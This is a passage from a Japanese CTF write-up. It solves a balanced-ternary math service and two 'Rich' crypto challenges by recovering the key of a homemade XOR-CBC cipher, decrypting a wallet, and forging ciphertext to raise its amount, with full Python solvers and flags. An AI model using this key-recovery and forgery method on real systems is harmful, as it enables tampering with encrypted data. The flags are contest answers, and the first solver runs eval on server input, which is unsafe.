        bit = len(s) - i - 1
        if s[i] == '0':
            bit_val = 0
        elif s[i] == '1':
            bit_val = 3 ** bit
        else:
            bit_val = - 3 ** bit
        val += bit_val
    return val

def enc_bal3(n):
    s = ''
    while n:
        s = bal3_letter[n % 3] + s
        n = -~n/3
    return s or 0

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('159.203.38.169', 5672))

data = recvuntil(s, '\n')
print data

# Try it 0
for i in range(2):
    print 'Round %d' % (i+1)
    data = recvuntil(s, '\n')
    print data
    data = data.replace('\n', '')
    elems = get_elem(data)
    formula = get_formula(data, elems)
    ans = enc_bal3(eval(formula))
    print ans
    s.sendall(ans + '\n')

data = recvuntil(s, '\n')
print data

# Try it 1
for i in range(17):
    print 'Round %d' % (i+1)
    data = recvuntil(s, '\n')
    print data
    data = data.replace('\n', '')
    elems = get_elem(data)
    formula = get_formula(data, elems)
    ans = enc_bal3(eval(formula))
    print ans
    s.sendall(ans + '\n')

data = recvuntil(s, '\n')
print data

17回答えると、フラグが表示された。

FLAG{ONE_PLUS_ONE_EQ_ONE_TON}

Rich 2 (Crypto 200)

タイトル的な順番では逆だが、結果的にはRich 1よりこちらの方が先に解けた。

$ nc 159.203.38.169 5682
Please give me your wallet and I'll determine if you are rich enough to access out VIP area.
Here is an example wallet:
56e3fc849a2c06c2f858615a2a17b0525a1a5020874b2ceebaf411f2753f91864dced78d862c46daf45a204e3c18b35e40360675d70c7db1f9a417e5337ec4cf01de87d8d67a5ae0e4471a5c7854d613033d2b6ad5117780eee964a36471f6cd15d8ac9c9e330ebfb3521a5c7846de1f04362b7acd0b66939b9209c43d41d1dd028987ecc97d4df5c66c3e5f5c46ee1511351b19ef1052a4fad30ff5103792d237e1a88eec2254d3f9057c155351a262
56e3fc849a2c06c2f858615a2a17b0525a1a5020874b2ceebaf411f2753f91864dced78d862c46daf45a204e3c18b35e40360675d70c7db1f9a417e5337ec4cf01de87d8d67a5ae0e4471a5c7854d613033d2b6ad5117780eee964a36471f6cd15d8ac9c9e330ebfb3521a5c7846de1f04362b7acd0b66939b9209c43d41d1dd028987ecc97d4df5c66c3e5f5c46ee1511351b19ef1052a4fad30ff5103792d237e1a88eec2254d3f9057c155351a262
Plebs be plebs. No money, no access.
Guessing you cant math... 1137 is way too low.

提示された暗号文字列をそのまま入れると、amountの値が1137になっていることがわかる。
コードを読むと、暗号の概要は以下の通りとわかる。

plaintextは以下の形式
{"CCCCCC": "TTTTTT", "EEEEEE": "FLAG{DDDDDD}", "RRRRRR": "EEEEEE", "DDDDDD": "AAAAAA"}

enc_xor_cbc(plaintext, key, iv):暗号化16進数文字列を表示
plaintextを16の倍数になるようパディング(16の倍数の場合は16バイトパディング)

16バイトごとに以下の処理
1ブロック目暗号:1ブロック目平文 ^ key ^ IV
2ブロック目暗号:2ブロック目平文 ^ key ^ 1ブロック目暗号
3ブロック目暗号:3ブロック目平文 ^ key ^ 2ブロック目暗号
          :

このことから以下のようにして平文がわかるはず。

3ブロック目平文:3ブロック目暗号 ^ key ^ 2ブロック目暗号
2ブロック目平文:2ブロック目暗号 ^ key ^ 1ブロック目暗号
1ブロック目平文:1ブロック目暗号 ^ key ^ IV

11ブロック目暗号 ^ key ^ 10ブロック目暗号 = 11ブロック目平文

パディングの長さを1~16で総当たり、さらに部分的に復号された値と平文の一部を頭に入れながら、復号する。最終的には以下のコードでフラグが得られた。

import socket

def recvuntil(s, tails):
    data = ""
    while True:
        for tail in tails:
            if tail in data:
                return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('159.203.38.169', 5682))

data = recvuntil(s, "\n")
print data
data = recvuntil(s, "\n")
print data
data = recvuntil(s, "\n")
print data

c_hex = data.strip()
c_list = []
for i in range(0, len(c_hex), 32):
    c_list.append(c_hex[i:i+32].decode('hex'))

for pad_length in range(16, 0, -1):
    p10_tail = '"}' + chr(pad_length) * pad_length
    block_chk_size = len(p10_tail)
    if block_chk_size > 16:
        block_chk_size = 16
    c09_tail = c_list[9][-block_chk_size:]
    c10_tail = c_list[10][-block_chk_size:]

    key = ''
    for i in range(block_chk_size):
        c09_char = c09_tail[-block_chk_size+i]
        c10_char = c10_tail[-block_chk_size+i]
        p10_char = p10_tail[-block_chk_size+i]
        code = ord(c09_char) ^ ord(c10_char) ^ ord(p10_char)
        key += chr(code)

    plain_list = []
    error = False
    for i in range(9):
        c_pre_tail = c_list[8-i][-block_chk_size:]
        c_cur_tail = c_list[9-i][-block_chk_size:]
        plain_tail = ''
        for j in range(block_chk_size):
            c_pre_char = c_pre_tail[-block_chk_size+j]
            c_cur_char = c_cur_tail[-block_chk_size+j]
            key_char = key[-block_chk_size+j]
            code = ord(c_pre_char) ^ ord(c_cur_char) ^ ord(key_char)
            if code < 32 or code > 126:
                error = True
                break
            else:
                plain_tail += chr(code)
        if error:
            break
        plain_list.append(plain_tail)

    if error == False:
        print plain_list

# 6th block
c_pre_char = c_list[4][12]
c_cur_char = c_list[5][12]
plain_char = '"'
key1_char = chr(ord(c_pre_char) ^ ord(c_cur_char) ^ ord(plain_char))

# 7th block
c_pre_char = c_list[5][:12]
c_cur_char = c_list[6][:12]
plain_char = 'unt": 1137, '
key2_char = ''
for i in range(len(c_cur_char)):
    key2_char += chr(ord(c_pre_char[i]) ^ ord(c_cur_char[i]) ^ ord(plain_char[i]))

key = key2_char + key1_char + key

# Decrypt the Later Parts
plain_tail = ''
for i in range(10):
    plain_part = ''
    c_pre = c_list[9 - i]
    c_cur = c_list[10 - i]
    for j in range(16):
        code = ord(c_pre[j]) ^ ord(c_cur[j]) ^ ord(key[j])
        plain_part += chr(code)
    plain_tail = plain_part + plain_tail

print plain_tail
FLAG{CBse4_Butch3reD_Cryp7o!WoW_R3cur51vE_@Cr0NymZ!?}

Rich 1 (Crypto 150)

Rich 2の続き。amountを1337にして、そのブロック以降を暗号化して投入する。

import socket

def recvuntil(s, tails):
    data = ""
    while True:
        for tail in tails:
            if tail in data:
                return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('159.203.38.169', 5682))

data = recvuntil(s, "\n")
print data
data = recvuntil(s, "\n")
print data
data = recvuntil(s, "\n")
print data

c_hex = data.strip()
c_list = []
for i in range(0, len(c_hex), 32):
    c_list.append(c_hex[i:i+32].decode('hex'))

for pad_length in range(16, 0, -1):
    p10_tail = '"}' + chr(pad_length) * pad_length
    block_chk_size = len(p10_tail)
    if block_chk_size > 16:
        block_chk_size = 16
    c09_tail = c_list[9][-block_chk_size:]
    c10_tail = c_list[10][-block_chk_size:]

    key = ''
    for i in range(block_chk_size):
        c09_char = c09_tail[-block_chk_size+i]
        c10_char = c10_tail[-block_chk_size+i]
        p10_char = p10_tail[-block_chk_size+i]
        code = ord(c09_char) ^ ord(c10_char) ^ ord(p10_char)
        key += chr(code)

    plain_list = []
    error = False
    for i in range(9):
        c_pre_tail = c_list[8-i][-block_chk_size:]
        c_cur_tail = c_list[9-i][-block_chk_size:]
        plain_tail = ''
        for j in range(block_chk_size):
            c_pre_char = c_pre_tail[-block_chk_size+j]
            c_cur_char = c_cur_tail[-block_chk_size+j]
            key_char = key[-block_chk_size+j]
            code = ord(c_pre_char) ^ ord(c_cur_char) ^ ord(key_char)
            if code < 32 or code > 126:
                error = True
                break
            else:
                plain_tail += chr(code)
        if error:
            break
        plain_list.append(plain_tail)

    if error == False:
        print plain_list

# 6th block
c_pre_char = c_list[4][12]
c_cur_char = c_list[5][12]
plain_char = '"'
key1_char = chr(ord(c_pre_char) ^ ord(c_cur_char) ^ ord(plain_char))

# 7th block
c_pre_char = c_list[5][:12]
c_cur_char = c_list[6][:12]
plain_char = 'unt": 1137, '
key2_char = ''
for i in range(len(c_cur_char)):
    key2_char += chr(ord(c_pre_char[i]) ^ ord(c_cur_char[i]) ^ ord(plain_char[i]))

key = key2_char + key1_char + key

# Decrypt the Later Parts
plain_tail = []
for i in range(10):
    plain_part = ''
    c_pre = c_list[9 - i]
    c_cur = c_list[10 - i]
    for j in range(16):
        code = ord(c_pre[j]) ^ ord(c_cur[j]) ^ ord(key[j])
        plain_part += chr(code)
    plain_tail.append(plain_part)

print plain_tail

# Encrypt "amount": 1337
mod_c_list = []
for i in range(5):
    p_part = plain_tail[4-i]
    if i == 0:
        p_part = plain_tail[4-i][:7] + '3' + plain_tail[4-i][8:]
        c_pre = c_list[5+i]
    else:
        c_pre = mod_c_list[-1]
    c_part = ''
    for j in range(16):
        code = ord(p_part[j]) ^ ord(c_pre[j]) ^ ord(key[j])
        c_part += chr(code)
    mod_c_list.append(c_part)

new_c_hex = ''
for i in range(6):
    new_c_hex += c_list[i].encode('hex')

for i in range(5):
    new_c_hex += mod_c_list[i].encode('hex')

print new_c_hex
s.sendall(new_c_hex + '\n')

data = recvuntil(s, "\n")
print data
data = recvuntil(s, "\n")
print data
FLAG{nVm_74BLeZ_FL1P_B!Ts=O}